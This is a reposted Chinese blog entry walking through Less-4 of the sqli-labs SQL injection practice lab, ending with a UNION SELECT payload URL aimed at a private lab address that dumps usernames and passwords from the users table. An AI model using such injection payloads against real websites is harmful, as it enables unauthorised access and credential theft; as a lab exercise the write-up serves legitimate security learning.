Less-4-白红宇的个人博客

Less-4

发布日期：2022-09-10 02:48:58 浏览次数：2 分类：博客文章

本文共 328 字，大约阅读时间需要 1 分钟。

Less-4

第四关：Please input the ID as parameter with numeric value

（1）判断注入点闭合方式

输入？id=1\ 查看有错误信息提示：

判断闭合方式为（“id=1”）

因此只要稍微改变一下闭合方式为？id=-1") [sql injection segment] 即可。参考第一关

http://192.168.88.133/mysqli-labs/Less-4/?id==1") union select -1,group_concat(username,0x3a,password,0x3c,0x62,0x72,0x2f,0x3e),3  from users --+

注：欢迎指正和交流~~

转载地址：https://www.cnblogs.com/stickonit/p/16049993.html 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！

上一篇：Less-5

下一篇：Less-3

关于作者

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！

-- 愿君每日到此一游！

Unity与java相互调用 2019-04-27

android截屏代码 2019-04-27

unity NGUI图文混排 2019-04-27

Unity项目优化 2019-04-27

Unity3D Shader 入门 2019-04-27

MSDK手Q邀请透传参数问题：url编解码与base64编解码 2019-04-27

svn提交的一个坑 2019-04-27

eclipse识别不了模拟器解决办法 2019-04-27

unity mesh合并 2019-04-27

谈谈类之间的关联关系与依赖关系 2019-04-27

unity5.x assetbundle打包和加载 2019-04-27

C#用正则表达式去匹配被双引号包起来的中文 2019-04-27

lua table排序 2019-04-27

Unity发布的ios包在iphone上声音是从听筒里出来的问题 2019-04-27

UIScrollView复用节点示例 2019-04-27

Unity 5 AudioMixer 2019-04-27

Unity 代码混淆: CodeGuard的使用 2019-04-27

UGUI 列表循环使用 2019-04-27

白红宇的个人博客 - 记录点点滴滴的事 - 您是第 308106822 位访客